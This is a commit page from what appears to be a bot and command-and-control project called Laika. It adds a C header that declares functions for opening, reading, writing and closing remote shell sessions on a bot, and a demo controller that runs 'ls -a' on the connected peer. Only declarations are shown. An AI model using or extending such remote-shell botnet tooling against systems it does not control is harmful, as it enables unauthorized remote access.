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Added LAIKAPKT_SHELL_*, fixed variadic packets

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- added bot/shell.[ch]
- simple demo cnc which runs 'ls -a' on the connect peer
This commit is contained in:
CPunch
2022-02-21 17:25:49 -06:00
parent 02c3176bc4
commit 5c31fb861b
10 changed files with 322 additions and 42 deletions
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25
bot/include/shell.h Normal file
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@@ -0,0 +1,25 @@
#ifndef LAIKA_SHELL_H
#define LAIKA_SHELL_H
#include <stddef.h>
struct sLaika_bot;
struct sLaika_shell {
int pid;
int fd;
int id;
};
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id);
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
/* packet handlers */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
#endif